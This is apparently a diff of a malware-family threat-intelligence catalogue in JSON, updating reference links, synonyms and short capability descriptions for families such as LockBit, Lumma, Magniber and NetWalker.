"https://documents.trendmicro.com/assets/pdf/datasheet-ransomware-in-Q1-2022.pdf", "https://talos-intelligence-site.s3.amazonaws.com/production/document_files/files/000/095/481/original/010421_LockBit_Interview.pdf", - "https://www.sentinelone.com/labs/lockbit-3-0-update-unpicking-the-ransomwares-latest-anti-analysis-and-evasion-techniques/", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", - "https://www.youtube.com/watch?v=C733AyPzkoc", - "https://unit42.paloaltonetworks.com/emerging-ransomware-groups/", - "https://blog.morphisec.com/the-babadeda-crypter-targeting-crypto-nft-defi-communities", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://www.cybereason.com/blog/threat-analysis-report-lockbit-2.0-all-paths-lead-to-ransom", - "https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/", - "https://blog.lexfo.fr/lockbit-malware.html", - "https://chuongdong.com/reverse%20engineering/2022/03/19/LockbitRansomware/", - "https://therecord.media/an-interview-with-blackmatter-a-new-ransomware-group-thats-learning-from-the-mistakes-of-darkside-and-revil/", + "https://www.glimps.fr/dcouverte-dune-nouvelle-version-du-ramsomware-lockbit/", + "https://www.prodaft.com/m/reports/LockBit_Case_Report___TLPWHITE.pdf", + "https://www.bleepingcomputer.com/news/security/lockbit-ransomware-gang-gets-aggressive-with-triple-extortion-tactic/", + "https://medium.com/s2wlab/w4-jan-en-story-of-the-week-ransomware-on-the-darkweb-7595544363b1", + "https://www.crowdstrike.com/blog/better-together-global-attitude-survey-takeaways-2021/", "https://seguranca-informatica.pt/malware-analysis-details-on-lockbit-ransomware/", - "https://github.com/albertzsigovits/malware-notes/blob/master/Ransomware/Lockbit.md", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://www.bleepingcomputer.com/news/security/uk-rail-network-merseyrail-likely-hit-by-lockbit-ransomware/", + "https://www.mbsd.jp/2021/10/27/assets/images/MBSD_WhitePaper_A-deep-dive-analysis-of-LockBit2.0_Ransomware.pdf", + "https://asec.ahnlab.com/ko/39682/", + "https://news.sophos.com/en-us/2022/04/12/attackers-linger-on-government-agency-computers-before-deploying-lockbit-ransomware/", + "https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility", + "https://www.ic3.gov/Media/News/2022/220204.pdf", + "https://amgedwageh.medium.com/lockbit-ransomware-analysis-notes-93a542fc8511", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://www.netskope.com/blog/netskope-threat-coverage-lockbit", + "https://www.youtube.com/watch?v=C733AyPzkoc", "https://ke-la.com/lockbit-2-0-interview-with-russian-osint/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockbit-targets-servers", + "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", + "https://www.zdnet.com/article/ransomware-hits-helicopter-maker-kopter/", + "https://www.cybereason.com/blog/threat-analysis-report-lockbit-2.0-all-paths-lead-to-ransom", + "https://securelist.com/modern-ransomware-groups-ttps/106824/", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://news.sophos.com/en-us/2020/10/21/lockbit-attackers-uses-automated-attack-tools-to-identify-tasty-targets", + "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", + "https://securityintelligence.com/posts/lockbit-ransomware-attacks-surge-affiliate-recruitment/", + "https://www.bleepingcomputer.com/news/security/march-2023-broke-ransomware-attack-records-with-459-incidents/", + "https://www.connectwise.com/resources/lockbit-profile", + "https://www.fortinet.com/blog/threat-research/ransomware-roundup-new-variants", + "https://www.trendmicro.com/en_us/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html", + "https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel", + "https://redcanary.com/blog/intelligence-insights-november-2021/", + "https://therecord.media/conti-ransomware-gang-chats-leaked-by-pro-ukraine-member/", + "https://www.logpoint.com/en/blog/hunting-lockbit-variations-using-logpoint/", + "https://intel471.com/blog/privateloader-malware", + "https://www.seqrite.com/blog/indian-power-sector-targeted-with-latest-lockbit-3-0-variant/", + "https://news.sophos.com/en-us/2020/04/24/lockbit-ransomware-borrows-tricks-to-keep-up-with-revil-and-maze/", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/d/thwarting-loaders-from-socgholish-to-blisters-lockbit-payload/iocs-thwarting-loaders-socgholish-blister.txt", + "https://therecord.media/missed-opportunity-bug-in-lockbit-ransomware-allowed-free-decryptions/", + "https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack", + "https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf", + "https://therecord.media/australian-cybersecurity-agency-warns-of-spike-in-lockbit-ransomware-attacks/", + "https://www.bleepingcomputer.com/news/security/lockbit-victim-estimates-cost-of-ransomware-attack-to-be-42-million/", + "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", + 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- "https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel", "https://securelist.com/new-ransomware-trends-in-2022/106457/", - "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", - "https://medium.com/s2wlab/w4-jan-en-story-of-the-week-ransomware-on-the-darkweb-7595544363b1", - "https://www.zdnet.com/article/ransomware-hits-helicopter-maker-kopter/", - "https://documents.trendmicro.com/assets/pdf/datasheet-ransomware-in-Q1-2022.pdf", - "https://therecord.media/australian-cybersecurity-agency-warns-of-spike-in-lockbit-ransomware-attacks/", - "https://securityintelligence.com/posts/lockbit-ransomware-attacks-surge-affiliate-recruitment/", - "https://twitter.com/MsftSecIntel/status/1522690116979855360", - "https://www.coveware.com/blog/2022/1/26/ransomware-as-a-service-innovation-curve", - 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"https://socradar.io/lockbit-3-another-upgrade-to-worlds-most-active-ransomware/", + "https://www.cybereason.com/blog/threat-analysis-report-inside-the-lockbit-arsenal-the-stealbit-exfiltration-tool", + "https://blog.lexfo.fr/lockbit-malware.html", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf", + "https://blog.cyble.com/2022/07/05/lockbit-3-0-ransomware-group-launches-new-version/", + "https://www.recordedfuture.com/blackmatter-ransomware-successor-darkside-revil/", + "https://yoroi.company/research/hunting-the-lockbit-gangs-exfiltration-infrastructures/", + "https://github.com/albertzsigovits/malware-notes/blob/master/Ransomware/Lockbit.md", "https://techcommunity.microsoft.com/t5/security-compliance-and-identity/part-2-lockbit-2-0-ransomware-bugs-and-database-recovery/ba-p/3254421", - "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", - 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- "https://www.proofpoint.com/us/blog/threat-insight/ta410-group-behind-lookback-attacks-against-us-utilities-sector-returns-new", - "https://www.welivesecurity.com/2022/04/27/lookback-ta410-umbrella-cyberespionage-ttps-activity/", "https://threatgen.com/taking-a-closer-look-at-the-lookback-malware-campaign-part-1/", - "https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape", - "https://nao-sec.org/2021/01/royal-road-redive.html", "https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks", + "https://pylos.co/wp-content/uploads/2020/02/Threat-Intelligence-and-the-Limits-of-Malware-Analysis.pdf", + "https://www.dragos.com/blog/industry-news/new-ics-threat-activity-group-talonite/", + "https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape", + "https://www.welivesecurity.com/2022/04/27/lookback-ta410-umbrella-cyberespionage-ttps-activity/", + "https://nao-sec.org/2021/01/royal-road-redive.html", + "https://www.proofpoint.com/us/blog/threat-insight/ta410-group-behind-lookback-attacks-against-us-utilities-sector-returns-new", "https://www.proofpoint.com/us/threat-insight/post/lookback-forges-ahead-continued-targeting-united-states-utilities-sector-reveals", - "https://pylos.co/wp-content/uploads/2020/02/Threat-Intelligence-and-the-Limits-of-Malware-Analysis.pdf" + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/witchetty-steganography-espionage" ], "synonyms": [], "type": [] @@ -30204,11 +31882,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lordix", - "https://github.com/cryptogramfan/Malware-Analysis-Scripts/blob/master/decrypt_l0rdix_c2.py", - "https://twitter.com/hexlax/status/1058356670835908610", - "https://www.bromium.com/decrypting-l0rdix-rats-c2/", "https://www.bromium.com/an-analysis-of-l0rdix-rat-panel-and-builder/", - "https://blog.ensilo.com/l0rdix-attack-tool" + "https://www.bromium.com/decrypting-l0rdix-rats-c2/", + "https://blog.ensilo.com/l0rdix-attack-tool", + "https://twitter.com/hexlax/status/1058356670835908610", + "https://github.com/cryptogramfan/Malware-Analysis-Scripts/blob/master/decrypt_l0rdix_c2.py" ], "synonyms": [ "lordix" @@ -30223,13 +31901,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lorenz", - "https://therecord.media/free-decrypter-available-for-lorenz-ransomware/", - "https://arcticwolf.com/resources/blog/lorenz-ransomware-chiseling-in/", - "https://twitter.com/AltShiftPrtScn/status/1423190900516302860?s=20", - "https://www.tesorion.nl/en/posts/lorenz-ransomware-analysis-and-a-free-decryptor/", + "https://arcticwolf.com/resources/blog/lorenz-ransomware-getting-dumped/", "https://www.bleepingcomputer.com/news/security/meet-lorenz-a-new-ransomware-gang-targeting-the-enterprise/", + "https://twitter.com/AltShiftPrtScn/status/1423190900516302860?s=20", "https://www.tesorion.nl/en/posts/lorenz-ransomware-rebound-corruption-and-irrecoverable-files/", - "https://www.cybereason.com/blog/cybereason-vs.-lorenz-ransomware" + "https://www.tesorion.nl/en/posts/lorenz-ransomware-analysis-and-a-free-decryptor/", + "https://www.cybereason.com/blog/cybereason-vs.-lorenz-ransomware", + "https://arcticwolf.com/resources/blog/lorenz-ransomware-chiseling-in/", + "https://therecord.media/free-decrypter-available-for-lorenz-ransomware/" ], "synonyms": [], "type": [] @@ -30242,8 +31921,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.loup", - "https://twitter.com/r3c0nst/status/1295275546780327936", - "https://twitter.com/Arkbird_SOLG/status/1295396936896438272" + "https://twitter.com/Arkbird_SOLG/status/1295396936896438272", + "https://twitter.com/r3c0nst/status/1295275546780327936" ], "synonyms": [], "type": [] @@ -30256,9 +31935,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lowball", - "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html", + "https://kindredsec.wordpress.com/2019/08/12/an-overview-of-public-platform-c2s/", "https://kindredsec.com/2019/08/12/an-overview-of-public-platform-c2s/", - "https://kindredsec.wordpress.com/2019/08/12/an-overview-of-public-platform-c2s/" + "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" ], "synonyms": [], "type": [] @@ -30271,10 +31950,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lowkey", - "https://www.fireeye.com/blog/threat-research/2019/10/lowkey-hunting-for-the-missing-volume-serial-id.html", "https://www.mandiant.com/resources/apt41-us-state-governments", "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Winnti.pdf", - "https://www.welivesecurity.com/2019/10/21/winnti-group-skip2-0-microsoft-sql-server-backdoor/" + "https://www.welivesecurity.com/2019/10/21/winnti-group-skip2-0-microsoft-sql-server-backdoor/", + "https://www.fireeye.com/blog/threat-research/2019/10/lowkey-hunting-for-the-missing-volume-serial-id.html" ], "synonyms": [ "PortReuse" @@ -30284,13 +31963,27 @@ "uuid": "515d1318-c3b1-4d40-a321-31b3baf75414", "value": "LOWKEY" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.lowzero", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0922.pdf", + "https://malgamy.github.io/malware-analysis/The-Approach-of-TA413-for-Tibetan-Targets/#third-stage" + ], + "synonyms": [], + "type": [] + }, + "uuid": "1efd4902-ff9e-4e71-8867-6eddb9bc456c", + "value": "LOWZERO" + }, { "description": "This in Go written malware is lsass process memory dumper, which was custom developed by threat actors according to Security Joes. It has the capability to automatically exfiltrate the results to the free file transfer service \"transfer.sh\".", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lsassdumper", - "https://www.bleepingcomputer.com/news/security/hackers-fork-open-source-reverse-tunneling-tool-for-persistence/", - "https://secjoes-reports.s3.eu-central-1.amazonaws.com/Sockbot%2Bin%2BGoLand.pdf" + "https://secjoes-reports.s3.eu-central-1.amazonaws.com/Sockbot%2Bin%2BGoLand.pdf", + "https://www.bleepingcomputer.com/news/security/hackers-fork-open-source-reverse-tunneling-tool-for-persistence/" ], "synonyms": [], "type": [] @@ -30299,7 +31992,20 @@ "value": "lsassDumper" }, { - "description": "A stealer written in Rust.", + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.lu0bot", + "https://bazaar.abuse.ch/browse/tag/Lu0Bot/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "d81c068d-7420-40ee-ab50-5f29b2ccc314", + "value": "Lu0Bot" + }, + { + "description": "According to PCRisk, The Luca stealer can extract a variety of information from compromised machines. It targets data related to the following: operating system, device name, CPUs, desktop environment, network interface, user account name, preferred system language, running processes, etc.\r\n\r\nThis malicious program can steal information from over thirty Chromium-based browsers. From these applications, Luca can obtain Internet cookies, account log-in credentials (usernames/passwords), and credit card numbers. Additionally, the stealer can extract data from password manager and cryptowallet browser extensions compatible with over twenty browsers.\r\n\r\nThis malware also targets various messaging applications like Telegram, Discord, ICQ, Skype, Element, etc. It likewise aims to acquire information from gaming-related software such as Steam and Uplay (Ubisoft Connect). Furthermore, some versions of Luca can take screenshots and download the files stored on victims' devices.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.luca_stealer", @@ -30330,14 +32036,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.luminosity_rat", - "https://www.secureworks.com/research/threat-profiles/copper-fieldstone", - "https://umbrella.cisco.com/blog/2017/01/18/finding-the-rats-nest/", - "https://researchcenter.paloaltonetworks.com/2018/02/unit42-rat-trapped-luminositylink-falls-foul-vermin-eradication-efforts/", - "https://researchcenter.paloaltonetworks.com/2016/07/unit42-investigating-the-luminositylink-remote-access-trojan-configuration/", + "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf", "https://krebsonsecurity.com/2018/07/luminositylink-rat-author-pleads-guilty/", - "http://malwarenailed.blogspot.com/2016/07/luminosity-rat-re-purposed.html", + "https://researchcenter.paloaltonetworks.com/2018/02/unit42-rat-trapped-luminositylink-falls-foul-vermin-eradication-efforts/", + "https://umbrella.cisco.com/blog/2017/01/18/finding-the-rats-nest/", + "https://www.secureworks.com/research/threat-profiles/copper-fieldstone", "https://www.proofpoint.com/us/threat-insight/post/Light-After-Dark", - "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf" + "https://researchcenter.paloaltonetworks.com/2016/07/unit42-investigating-the-luminositylink-remote-access-trojan-configuration/", + "http://malwarenailed.blogspot.com/2016/07/luminosity-rat-re-purposed.html" ], "synonyms": [ "LuminosityLink" @@ -30348,13 +32054,21 @@ "value": "Luminosity RAT" }, { - "description": "Based on Mars Stealer.", + "description": "Lumma is an information stealer written in C, sold as a Malware-as-a-Service by LummaC on Russian-speaking underground forums and Telegram since at least August 2022. Lumma's capabilities are those of a classic stealer, with a focus on cryptocurrency wallets, and file grabber capabilities.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma", - "https://twitter.com/fumik0_/status/1559474920152875008" + "https://twitter.com/sekoia_io/status/1572889505497223169", + "https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/", + "https://twitter.com/Ishusoka/status/1614028229307928582", + "https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx", + "https://outpost24.com/blog/everything-you-need-to-know-lummac2-stealer", + "https://twitter.com/fumik0_/status/1559474920152875008", + "https://medium.com/s2wblog/lumma-stealer-targets-youtubers-via-spear-phishing-email-ade740d486f7" + ], + "synonyms": [ + "LummaC2 Stealer" ], - "synonyms": [], "type": [] }, "uuid": "a14270e4-2b5e-4a90-9ccd-0b68690dbc3e", @@ -30365,8 +32079,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lunchmoney", - "https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html", - "https://twitter.com/MrDanPerez/status/1097881406661902337" + "https://twitter.com/MrDanPerez/status/1097881406661902337", + "https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html" ], "synonyms": [], "type": [] @@ -30384,15 +32098,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "fcece2f7-e0ef-44e0-aa9f-578c2a56f532", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "929112e4-e252-4273-b3c2-fd414cfb2776", "value": "Lurk" }, @@ -30453,9 +32158,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lyposit", - "https://blog.avast.com/2013/05/20/lockscreen-win32lyposit-displayed-as-a-fake-macos-app/", "http://malware.dontneedcoffee.com/2013/05/unveiling-locker-bomba-aka-lucky-locker.html", - "http://malware.dontneedcoffee.com/2012/11/inside-view-of-lyposit-aka-for-its.html" + "http://malware.dontneedcoffee.com/2012/11/inside-view-of-lyposit-aka-for-its.html", + "https://blog.avast.com/2013/05/20/lockscreen-win32lyposit-displayed-as-a-fake-macos-app/" ], "synonyms": [ "Adneukine", @@ -30468,7 +32173,7 @@ "value": "Lyposit" }, { - "description": "", + "description": "According Zscaler, M00nD3V Logger has the ability to steal confidential information, such as browser passwords, FTP client passwords, email client passwords, DynDNS credentials, JDownloader credentials; capture Windows keystrokes; and gain access to the webcam and hook the clipboard. In all, it has the ability to steal passwords from 42 applications.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.m00nd3v", @@ -30485,9 +32190,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.m0yv", + "https://github.com/baderj/domain_generation_algorithms/blob/master/m0yv/dga.py", + "https://github.com/baderj/domain_generation_algorithms/blob/master/expiro/dga.py", + "https://youtu.be/3RYbkORtFnk", "https://www.bleepingcomputer.com/news/security/ransomware-dev-releases-egregor-maze-master-decryption-keys/", - "https://securityaffairs.co/wordpress/127826/malware/egregor-sekhmet-decryption-keys.html", - "https://github.com/baderj/domain_generation_algorithms/blob/master/expiro/dga.py" + "https://securityaffairs.co/wordpress/127826/malware/egregor-sekhmet-decryption-keys.html" ], "synonyms": [], "type": [] @@ -30501,8 +32208,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.macaw", "https://killingthebear.jorgetesta.tech/actors/evil-corp", - "https://www.bleepingcomputer.com/news/security/evil-corp-demands-40-million-in-new-macaw-ransomware-attacks/", - "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions" + "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", + "https://www.bleepingcomputer.com/news/security/evil-corp-demands-40-million-in-new-macaw-ransomware-attacks/" ], "synonyms": [], "type": [] @@ -30515,13 +32222,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.machete", - "https://medium.com/@verovaleros/el-machete-what-do-we-know-about-the-apt-targeting-latin-america-be7d11e690e6", "https://www.cylance.com/en_us/blog/el-machete-malware-attacks-cut-through-latam.html", - "https://threatvector.cylance.com/en_us/home/threat-spotlight-machete-info-stealer.html", - "https://www.atomicmatryoshka.com/post/infographic-apts-in-south-america", "https://securelist.com/el-machete/66108/", + "https://www.welivesecurity.com/2019/08/05/sharpening-machete-cyberespionage/", "https://static1.squarespace.com/static/5a01100f692ebe0459a1859f/t/5da340ded5ccf627e1764059/1570980068506/Day3-1130-Green-A+study+of+Machete+cyber+espionage+operations+in+Latin+America.pdf", - "https://www.welivesecurity.com/2019/08/05/sharpening-machete-cyberespionage/" + "https://www.atomicmatryoshka.com/post/infographic-apts-in-south-america", + "https://medium.com/@verovaleros/el-machete-what-do-we-know-about-the-apt-targeting-latin-america-be7d11e690e6", + "https://threatvector.cylance.com/en_us/home/threat-spotlight-machete-info-stealer.html" ], "synonyms": [ "El Machete" @@ -30556,11 +32263,28 @@ "uuid": "192f93bc-fcf6-4aaf-ae2f-d9435a67e48b", "value": "Magala" }, + { + "description": "According to DCSO, this malware is written as a Extended Stored Procedure for a MSSQL server. The backdoor has capabilities to bruteforce logins to other MSSQL servers, adding a special hardcoded backdoor user in the case of successfully bruteforcing admin logins.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.maggie", + "https://www.sentinelone.com/labs/wip19-espionage-new-chinese-apt-targets-it-service-providers-and-telcos-with-signed-malware/", + "https://medium.com/@DCSO_CyTec/mssql-meet-maggie-898773df3b01", + "https://medium.com/@DCSO_CyTec/tracking-down-maggie-4d889872513d" + ], + "synonyms": [], + "type": [] + }, + "uuid": "2e4a63ab-9a04-472f-aad0-3eb4835a4697", + "value": "Maggie" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.magic_rat", + "https://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", + "https://www.attackiq.com/2023/01/05/emulating-the-highly-sophisticated-north-korean-adversary-lazarus-group/", "https://blog.talosintelligence.com/2022/09/lazarus-magicrat.html" ], "synonyms": [], @@ -30570,25 +32294,30 @@ "value": "MagicRAT" }, { - "description": "", + "description": "According to TXOne, The Magniber ransomware was first identified in late 2017 when it was discovered using the Magnitude Exploit Kit to conduct malvertising attacks against users in South Korea. However, it has remained active since then, continually updating its tactics by employing new obfuscation techniques and methods of evasion. In April 2022, Magniber gained notoriety for disguising itself as a Windows update file to lure victims into installing it. It then began spreading via JavaScript in September 2022.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.magniber", - "https://blog.malwarebytes.com/threat-analysis/2017/10/magniber-ransomware-exclusively-for-south-koreans/", - "https://www.youtube.com/watch?v=lqWJaaofNf4", - "https://www.bleepingcomputer.com/news/security/fake-windows-10-updates-infect-you-with-magniber-ransomware/", - "https://asec.ahnlab.com/en/19273/", - "https://therecord.media/printnightmare-vulnerability-weaponized-by-magniber-ransomware-gang/", - "https://www.crowdstrike.com/blog/magniber-ransomware-caught-using-printnightmare-vulnerability/", - "https://medium.com/coinmonks/passive-income-of-cyber-criminals-dissecting-bitcoin-multiplier-scam-b9d2b6048372", - "http://asec.ahnlab.com/1124", - "https://forensicitguy.github.io/analyzing-magnitude-magniber-appx/", "https://www.cybereason.com/blog/threat-analysis-report-printnightmare-and-magniber-ransomware", - "https://decoded.avast.io/janvojtesek/magnitude-exploit-kit-still-alive-and-kicking/", - "https://asec.ahnlab.com/en/30645/", - "https://www.bleepingcomputer.com/news/security/magniber-ransomware-gang-now-exploits-internet-explorer-flaws-in-attacks/", + "https://hshrzd.wordpress.com/2023/03/30/magniber-ransomware-analysis/", + "https://asec.ahnlab.com/en/41889/", "https://teamt5.org/tw/posts/internet-explorer-the-vulnerability-ridden-browser/", - "https://decoded.avast.io/janvojtesek/exploit-kits-vs-google-chrome/" + "https://medium.com/coinmonks/passive-income-of-cyber-criminals-dissecting-bitcoin-multiplier-scam-b9d2b6048372", + "https://blog.google/threat-analysis-group/magniber-ransomware-actors-used-a-variant-of-microsoft-smartscreen-bypass/", + "https://decoded.avast.io/janvojtesek/magnitude-exploit-kit-still-alive-and-kicking/", + "https://decoded.avast.io/janvojtesek/exploit-kits-vs-google-chrome/", + "https://www.bleepingcomputer.com/news/security/fake-windows-10-updates-infect-you-with-magniber-ransomware/", + "https://www.youtube.com/watch?v=lqWJaaofNf4", + "https://threatresearch.ext.hp.com/magniber-ransomware-switches-to-javascript-targeting-home-users-with-fake-software-updates/", + "https://asec.ahnlab.com/en/19273/", + "https://blog.malwarebytes.com/threat-analysis/2017/10/magniber-ransomware-exclusively-for-south-koreans/", + "https://www.crowdstrike.com/blog/magniber-ransomware-caught-using-printnightmare-vulnerability/", + "http://asec.ahnlab.com/1124", + "https://asec.ahnlab.com/en/30645/", + "https://forensicitguy.github.io/analyzing-magnitude-magniber-appx/", + "https://www.cybereason.com/blog/threat-analysis-msi-masquerading-as-software-installer", + "https://therecord.media/printnightmare-vulnerability-weaponized-by-magniber-ransomware-gang/", + "https://www.bleepingcomputer.com/news/security/magniber-ransomware-gang-now-exploits-internet-explorer-flaws-in-attacks/" ], "synonyms": [], "type": [] @@ -30601,68 +32330,68 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mailto", - "https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/", - "https://www.bleepingcomputer.com/news/security/enel-group-hit-by-ransomware-again-netwalker-demands-14-million", - "https://blogs.blackberry.com/en/2021/03/zerologon-to-ransomware", - "https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf", - "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/an-in-depth-look-at-mailto-ransomware-part-two-of-three/", - "https://ics-cert.kaspersky.com/media/KASPERSKY_H1_2020_ICS_REPORT_EN.pdf", - "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", - "https://www.zeit.de/digital/2021-06/cybercrime-extortion-internet-spyware-ransomware-police-prosecution-hackers", - "https://www.bleepingcomputer.com/news/security/mailto-netwalker-ransomware-targets-enterprise-networks/", + "https://www.bleepingcomputer.com/news/security/netwalker-ransomware-affiliate-sentenced-to-80-months-in-prison/", + "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", "https://www.ucsf.edu/news/2020/06/417911/update-it-security-incident-ucsf", - "https://id-ransomware.blogspot.com/2019/09/koko-ransomware.html", - "https://www.bleepingcomputer.com/news/security/netwalker-ransomware-infecting-users-via-coronavirus-phishing/", - "https://danusminimus.github.io/Zero2Auto-Netwalker-Walkthrough/", + "https://lopqto.me/posts/automated-dynamic-import-resolving", + "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", + "https://seguranca-informatica.pt/netwalker-ransomware-full-analysis/", + "https://www.bleepingcomputer.com/news/security/michigan-state-university-network-breached-in-ransomware-attack/", + "https://www.bleepingcomputer.com/news/security/mailto-netwalker-ransomware-targets-enterprise-networks/", + "https://thedfirreport.com/2020/08/31/netwalker-ransomware-in-1-hour/", "https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/an-in-depth-look-at-mailto-ransomware-part-three-of-three/", + "https://www.youtube.com/watch?v=q8of74upT_g", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", + "https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/", "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", "https://www.incibe-cert.es/blog/ransomware-netwalker-analisis-y-medidas-preventivas", - "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", - "https://sites.temple.edu/care/ci-rw-attacks/", + "https://blogs.blackberry.com/en/2021/03/zerologon-to-ransomware", + "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/take-a-netwalk-on-the-wild-side/", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/an-in-depth-look-at-mailto-ransomware-part-three-of-three/", - "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "https://seguranca-informatica.pt/netwalker-ransomware-full-analysis/", - "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", - "https://cti-league.com/wp-content/uploads/2021/02/CTI-League-Darknet-Report-2021.pdf", - "https://blog.trendmicro.com/trendlabs-security-intelligence/netwalker-fileless-ransomware-injected-via-reflective-loading/", - "https://blog.talosintelligence.com/2020/09/CTIR-quarterly-trends-Q4-2020.html", - "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", - "https://www.justice.gov/usao-mdfl/press-release/file/1360846/download", - "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", - "https://zero2auto.com/2020/05/19/netwalker-re/", - 